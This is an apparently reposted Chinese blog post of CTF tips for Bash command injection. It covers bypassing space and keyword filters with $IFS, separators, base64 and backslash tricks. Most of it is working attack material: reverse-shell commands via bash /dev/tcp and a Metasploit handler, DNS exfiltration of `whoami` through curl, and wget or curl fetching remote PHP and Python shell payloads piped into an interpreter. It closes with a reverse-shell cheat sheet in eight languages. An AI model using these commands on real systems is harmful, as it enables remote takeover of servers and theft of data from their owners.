CTF 中 Bash中的小技巧

来源:互联网 发布:linux配置自动获取ip 编辑:程序博客网 时间:2024/05/16 17:23

1.绕过空格过滤

bash中可以过滤的符号

$IFS$9      ${IFS} %09 (符号需要php环境)

2.命令分隔符这里介绍5种姿势

1.%0a符号   换行符2.%0d符号   回车符3.;符号        在 shell 中,担任”连续指令”功能的符号就是”分号”4.&符号        & 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。5.|符号管道符左边命令的输出就会作为管道符右边命令的输入

3.黑名单绕过

a=l;b=s;$a$b

这里写图片描述

base64编码echo “dw5hbWU=”|base64 -d

这里写图片描述

继续补充一波,做ctf联系平台上面的题目发现存在反弹shell的姿势,然后咨询了一下pupil师傅,学习一波姿势

比赛又发现了这个

l\s

是可以当做ls执行的!

1.利用bash命令并在本地进行nc监听结果查看回连日志

在服务器端输入

nc -l -p 8080 -vvv

然后在靶机命令执行

|bash -i >& /dev/tcp/(vps的公网ip)/8080 0>&1

然后即可反弹shell成功!

2.msf反向回连

类似于监听,但是需要用msf,要求比较高,我服务器没有安装,但是不失是一种方法

use exploit/multi/handlerset payload linux/armle/shell/reverse_tcpset lport 8080set lhost xxx.xxx.xxx.xxxset exitonsession falseexploit -j

依旧在然后在靶机命令执行处输入

|bash -i >& /dev/tcp/(vps的公网ip)/8080 0>&1

3.利用DNS管道解析

其实这个才是最长姿势的,看过i春秋中一位大佬的博文见过
利用dnslog这种网站查看回显日志
然后在靶机输入地点输入

|curl `whoami`.xxxx.xxx(子域名)

即可看到回显

4.利用其他服务器运行环境反弹,比如php,python

首先还是nc监听

nc -l -p 12345 -vv<v

然后构造如下,利用wget下载我得远端恶意代码,上传到靶机上进行恶意程序!这个可以在对方过滤了什么bash的时候使用

wget方法

wget http://localhost/test.txt -O /tmp/x.php && php /tmp/x.php   

文件内容如下

<?php  $sock=fsockopen("localhost",12345);//localhost为自己的外网ip,端口对应  exec("/bin/sh -i <&3 >&3 2>&3");  ?>  

curl方法

curl -sS http://localhost/test.py | python  

py文件内容如下

import socket,subprocess,os  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  s.connect(("localhost",12345)) #更改localhost为自己的外网ip,端口任意  os.dup2(s.fileno(),0)  os.dup2(s.fileno(),1)  os.dup2(s.fileno(),2)  p=subprocess.call(["/bin/sh","-i"])  

分享几个比较好的文章
http://www.myhack58.com/Article/html/3/8/2014/48255.htm

还有一大坨不同语言的反弹shell语句

bash版本:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1注意这个是由解析shell的bash完成,所以某些情况下不支持perl版本:perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'python版本:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'php版本:php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'ruby版本:ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'nc版本:nc -e /bin/sh 10.0.0.1 1234rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/fnc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999java版本r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()lua版本:lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
原创粉丝点击